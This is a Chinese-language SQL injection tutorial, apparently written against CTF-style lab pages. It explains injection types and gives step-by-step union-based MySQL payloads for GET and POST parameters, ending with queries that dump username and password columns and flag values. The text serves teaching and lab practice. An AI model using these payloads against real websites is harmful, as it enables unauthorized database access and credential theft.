目录
一、关于SQL注入
SQL可分为以下几种类型:
1)可回显的注入
- 可以联合查询的注入
- 报错注入
- 通过注入进行DNS请求,从而达到可回显的目的。
2)不可回显的注入
- Bool盲注
- 时间盲注
3)二次注入
- 通常作为一种业务逻辑较为复杂的题目出现,一般需要自己编写脚本以实现自动化注入。
按照官网的说法,一般都是这样分:
1)数字型注入
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。
2)字符型注入
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
二、回显注入
以下介绍一部分关于回显注入的案例及解法。
1、显错注入(一)
显错注入,简单来讲就是根据页面返回错误提示进行注入。
实战:
假设浏览器链接为:http://..../index.php?id=1
1、测试是否存在SQL注入
1) 最古老的方法:
id=1 and 1=1 页面显示正常 即数据库查询语句:select * from user where id=1 and 1=1
id=1 and 1=2 页面显示错误 即数据库查询语句:select * from user where id=1 and 1=2
则说明该页面存在注入点
这种方法被拦截的可能性非常大。
可以尝试 and -1=-1 , and -1=-2, and1>0, or 1=1 。 或者直接 or sleep(5)
2)最简单的方法:
后面加个单引号',看页面是否报错
id=1'
3)第三种方法:
如果是数字型传参,可以尝试-1。 例如:
id=1 网页显示id=1的页面
id=2-1 网页显示id=1的页面 或者 id=1-0
说明存在sql注入
2、猜解字段数
id=1 order by 3 页面显示正常 即数据库查询语句:select * from user where id=1 order by 3
id=1 order by 4 页面显示错误 即数据库查询语句:select * from user where id=1 order by 4
这里讲解一下SQL中的order by:
order by是指按照一列或多列进行排序,一般 ' order 列名 ' 就是对 '列名' 进行排序。
而order by 3 就是说对表中的第3列也就是第3个字段进行排列,如果没有第3个字段,则报错。
说明有3个字段。
3、通过联合查询找出输出点
id =1 union select 1,2,3 即数据库查询语句:select * from user where id =1 union select 1,2,3
此处对SQL中的union进行简单说明:
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
所以,select * from user where id =1 union select 1,2,3
意思是将此数据库和另外一个具有3个字段的数据库联合查询。
如图:结果可知,2和3是输出点
4、获取数据库名
union select 1,database(),3
即数据库查询语句:select * from user where id =1 union select 1,database(),3
上面得知2和3是输出点,说明在这两个数据库中有很多的注射能用到的函数
比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本。
假设页面有11个字段,返回 3 6 7是输出点,那么你把3 6 7 替换成user() database() version() 也就是 union select 1, 2 ,user() ,4 ,5 ,loadfile(), version() ,9 ,10, 11 。
如图:第2个数据库名字为 error
5、用系统自带库查询表名、字段名
当数据库版本为5.0以上时,mysql加入了系统自带库。
所以先判断数据库的版本:
union select 1,2,@@version
即数据库查询语句:select * from user where id =1 union union select 1,2,@@version
如图,版本为5.6.47
1) 查询表名
利用mysql的系统自带库查询库中的表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();
此处介绍一下Mysql在5.0版本上自带的库名、表名及字段名:
系统自带库:information_schema
这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。information_schema.tables 表
information_schema.columns 字段
如图,表名为 error_flag 和 user
2)查询字段名
查询字段名:
error_flag表:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’;
如图,error_flag表的字段为 Id 和 flag
user表:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’user’;
如图,字段为 id, username 和 password
6、查询需要的字段的值
查询error_flag表中flag字段的值:
union select 1,group_concat(flag),group_concat(id) from error_flag
介绍一个函数:GROUP_CONCAT 将多行数据进行整合在一行输出
如图,得到了flag字段中的所有值,以及对应的id值
2、显错注入(二)
判断是否存在注入点时
用1=1和1=2页面都正常
查看源代码发现数据库语句是select *from user where id='1'
有单引号,需要把单引号闭合掉
在URL栏末尾输入23%或者 — qwe
其余与 显错注入(一)类似
判断是否存在注入:
' and 1=1%23 页面正常
' and 1=2%23 页面不正常
判断当前页面字段总数:
' and 1=1 order by 1,2,3,4,..... %23
判断显示位:
' and 1=2 union select 1,2,3,4,5,6,7…… %23
判断数据库版本:
' union select 1,2,@@version %23
查当前数据库:
' union select 1,2,database() %23
查表名:
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23
查列名:
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' %23
查字段内容:
' union select 1,group_concat(username),group_concat(password) from user %23
3、显错注入(三)
源代码中有括号和单引号,所以我们就用单引号和括号将它闭合
判断是否存在注入:
') and 1=1%23 页面正常
') and 1=2%23 页面不正常
判断当前页面字段总数:
') and 1=1 order by 1,2,3,4,..... %23
判断显示位:
') and 1=2 union select 1,2,3,4,5,6,7…… %23
判断数据库版本:
') union select 1,2,@@version %23
查当前数据库:
') union select 1,2,database() %23
查表名:
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23
查列名:
') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' %23
查字段内容:
') union select 1,group_concat(username),group_concat(password) from user %23
4、POST注入
POST注入和GET注入原理是一样的,只是传参不同。
在搜索框中输入:
判断是否存在注入:
a' or 1=1 # 页面正常
a' or 1=2 # 页面不正常
or 只要一方为真则可执行,and需全真才执行,所以此处用or
判断当前页面字段总数:
a' or 1=1 order by 1,2,3,4,..... #
判断显示位:
a' or 1=2 union select 1,2,3,4,5,6,7…… #
判断数据库版本:
a' union select 1,2,@@version #
查当前数据库:
a' union select 1,2,database() #
查表名:
a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() #
查列名:
a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' #
查字段内容:
a' union select 1,group_concat(username),group_concat(password) from user #
------------------------------------------------------------------------------------------------------------------
第二个网页源代码是select *from user where username =("") and password=("")
那么我们需要将括号和双引号闭合
判断当前页面字段总数:
a") or 1=1 order by 1,2,3,4,..... #
判断显示位:
a") or 1=2 union select 1,2,3,4,5,6,7…… #
查当前数据库:
a") union select 1,2,database() #
....